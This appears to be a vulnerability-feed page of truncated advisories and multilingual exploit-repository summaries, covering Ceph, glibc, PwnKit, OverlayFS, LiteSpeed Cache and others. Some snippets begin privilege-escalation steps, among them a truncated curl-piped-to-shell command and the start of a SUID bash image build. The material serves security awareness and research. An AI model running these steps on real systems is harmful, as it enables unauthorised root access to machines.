PT-2026-82798

Xiiaozet LK100W is vulnerable to OS command injection through its web-based management interface. An authenticated attacker may be able to execute arbitrary operating system commands with elevated privileges, potentially resulting in unauthorized access to sensitive information or complete device...

PT-2026-82649

So I'm a little confused with CVE-2026-65643. Why was cPanel 11.110 patched against this when it went end of life in July 2024. But cPanel 11.126, which reached end of life in July 2026, did not get this update. Is cPanel 11.126 not affected by this? I get the cPanel 11.126 isn't receiving update...

PT-2026-82767

Ceph is an open-source distributed storage platform providing object, block, and file storage. In versions prior to 20.2.4 and 19.2.6, the Monitor subscription handler fails to properly authorize access to the configuration-key store, allowing any CephX user with only mon allow r capabilities to...

CVE-2026-36102

Bluewave Labs Checkmate versions ≤ 3.3.0 contain a privilege escalation vulnerability in the inviteController.js component. A remote authenticated administrator can elevate their role to superadmin by manipulating the role parameter sent to the /api/v1/invite endpoint. The vulnerability is in the...

CVE-2026-37071

CVE-2026-37071 affects Veno File Manager Project 4.4.9 in the Actions::renameFile() function. An authenticated attacker holding the 'reanme' permission can send a specially crafted POST request that renames the application configuration file, triggering a configuration rebuild that resets super a...

PT-2026-82765

Ceph is an open-source distributed storage platform providing object, block, and file storage. In versions prior to 20.2.4 and 19.2.6, the RADOS Gateway RGW protects STS session tokens with an AES-128-CBC handler that provides no message authentication, allowing an attacker who holds any valid ST...

Linux Kernel Unspecified Vulnerability

Linux Kernel contains an unspecified vulnerability that can allow for privilege escalation via IPv6 networking subsystem. This vulnerability can impact multiple products, including but not limited to Suse, Red Hat, and other products using Linux...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit Eigenständiger Exploit für CVE-2021-4034 - Pkexec Lokale Privilegienausweitung Verwendung Sollte auf anfälligen Linux-Distributionen basierend auf Ubuntu, Debian, Fedora und CentOS sofort funktionieren. root@kitploit: sh -c "$curl -fsSL...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 Guida all'Escalation dei Privilegi 📋 Passaggi Rapidi per lo Sfruttamento Passo 1: Preparare l'immagine XFS Macchina locale root@kitploit: Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt...

CVE-2025-6018

Guide d'élévation de privilèges CVE-2025-6018 + CVE-2025-6019 Chinois 📋 Étapes d'exploitation rapides Étape 1 : Préparer l'image XFS machine locale root@kitploit: Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt sudo...

CVE-2023-4911

Vulnerabilidade de estouro de buffer heap do glibc CVE-2023-4911 Item| Conteúdo ---|--- CVE ID| CVE-2023-4911 Tipo de ataque| Estouro de buffer heap → Escalonamento local de privilégios Local Privilege Escalation CVSS 3.1| 7.8 Alto Data de divulgação| 2023-10-03 Ponto vulnerável| Analisador...

Important: Red Hat Security Advisory: iscsi-initiator-utils security update

An update for iscsi-initiator-utils is now available for Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity...

open-iscsi: open-iscsi: Privilege Escalation via Path Traversal

A flaw was found in open-iscsi. This vulnerability, known as Path Traversal, allows remote Man-in-the-Middle MITM attackers to manipulate file paths. By doing so, attackers can create files with root privileges outside the intended database and inject malicious content into system records. This...

CVE-2025-27580

CVE-2025-27580: Prise de contrôle de compte non authentifiée dans NIH BRICS NIH BRICS alias Biomedical Research Informatics Computing System jusqu'à la version 14.0.0-67 génère des jetons prévisibles qui dépendent du nom d'utilisateur, de l'heure et de la chaîne fixe 7Dl9dj- et permet ainsi à des...

AD-PathFinder

ADPathFinder ADPathFinder è uno strumento di mappatura degli attacchi per pentester e red teamer. Analizza i dati di SharpHound e li unifica con i plugin OpenGraph per individuare i percorsi di attacco verso obiettivi di alto valore come Amministratori di Dominio e Controller di Dominio, partendo...

HackTheBox-Facts

HTB Facts — Rédaction complète Difficulté : Medium OS : Linux Mots-clés : Web, MinIO, Camaleon CMS, Contournement de chemin, SSTI, Élévation de privilèges Table des matières 1. Reconnaissance 2. Énumération web — Port 80 3. Découverte de MinIO — Port 54321 4. Camaleon CMS — Accès administrateur 5...

CVE-2023-2598

رفع الامتيازات عبر CVE-2023-2598 من خلال CVE-2023-2598 نفهم آليتي Compound Page وfolio في لينكس، ثم نرى لاحقًا ما إذا كان يمكن إتمام استغلال ثغرة اليوم الواحد 1day CVE-2023-6560 الصفحة المركبة Compound Page / huge page مع ازدياد الذاكرة حجمًا، ما زالت وحدة تخصيص الصفحات الأساسية في لينكس 4K، وهو ...

DynastyPersist

DynastyPersist 1.5 DynastyPersist: uno strumento semplificato per ottenere la persistenza su Linux senza sforzo. Supporta KoTH, Battlegrounds e operazioni di pentest Installazione • Documentazione • Utilizzo Documentazione FUNZIONALITÀ MODULI Generazione di chiavi SSH Ottieni accesso a un server...

CVE-2024-28000

LiteSpeed Cache Escalade de Privilèges PoC - CVE-2024-28000 🎤 Traduction du README Anglais فارسی 📸 Capture d'écran 💎 Introduction Ce dépôt contient une preuve de concept PoC pour une vulnérabilité critique d'escalade de privilèges découverte dans le plugin WordPress LiteSpeed Cache. La...

OverlayFS-LPE-Exploit

OverlayFS-LPE-Exploit OverlayFS Escalation dei Privilegi Locali CVE-2021-3493 Panoramica del Progetto Questo repository contiene documentazione e codice di exploit per una vulnerabilità di Escalation dei Privilegi Locali LPE trovata nel kernel Ubuntu Linux. È stato testato in un ambiente lab...